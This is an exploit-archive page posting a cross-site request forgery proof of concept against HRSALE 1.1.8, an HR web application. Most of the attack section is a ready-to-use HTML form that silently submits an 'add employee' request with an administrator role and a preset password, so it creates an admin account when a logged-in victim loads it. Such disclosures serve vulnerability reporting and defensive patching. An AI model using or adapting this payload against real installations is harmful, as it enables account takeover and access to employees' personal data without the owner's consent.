exploit the possibilities

HRSALE 1.1.8 Cross Site Request Forgery

HRSALE 1.1.8 Cross Site Request Forgery
Posted Mar 12, 2020
Authored by Ismail Akici

HRSALE version 1.1.8 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 9f98aa1ae814cedd9031b18187aca7d0

HRSALE 1.1.8 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-03-11
# Exploit Author: Ismail Akıcı
# Vendor Homepage: http://hrsale.com/
# Software Link : http://demo.hrsale.com/
# Software : HRSALE v1.1.8
# Product Version: v1.1.8
# Vulnerability Type : Cross-Site Request Forgery (Add Admin)
# Vulnerability : Cross-Site Request Forgery

# Description :
# CSRF vulnerability was discovered in v1.1.8 version of HRSALE.
# With this vulnerability, authorized users can be added to the system.

HTML CSRF PoC :

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://demo.hrsale.com/admin/employees/add_employee" method="POST" enctype="multipart/form-data">
<input type="hidden" name="_user" value="1" />
<input type="hidden" name="csrf_hrsale" value="e8ed76f1f2110f7244b58062e2209961" />
<input type="hidden" name="first_name" value="Ismail" />
<input type="hidden" name="last_name" value="Akici" />
<input type="hidden" name="company_id" value="1" />
<input type="hidden" name="location_id" value="1" />
<input type="hidden" name="username" value="ismailtakici" />
<input type="hidden" name="email" value="ismail.akici@gmail.com" />
<input type="hidden" name="date_of_birth" value="2020-03-11" />
<input type="hidden" name="contact_no" value="5554443322" />
<input type="hidden" name="employee_id" value="1" />
<input type="hidden" name="date_of_joining" value="2020-03-11" />
<input type="hidden" name="department_id" value="1" />
<input type="hidden" name="subdepartment_id" value="YES" />
<input type="hidden" name="designation_id" value="9" />
<input type="hidden" name="gender" value="Male" />
<input type="hidden" name="office_shift_id" value="1" />
<input type="hidden" name="password" value="Test1234!" />
<input type="hidden" name="confirm_password" value="Test1234!" />
<input type="hidden" name="role" value="1" />
<input type="hidden" name="leave_categories[]" value="0" />
<input type="hidden" name="leave_categories[]" value="1" />
<input type="hidden" name="address" value="Test Address" />
<input type="hidden" name="is_ajax" value="1" />
<input type="hidden" name="add_type" value="employee" />
<input type="hidden" name="form" value="add_employee" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close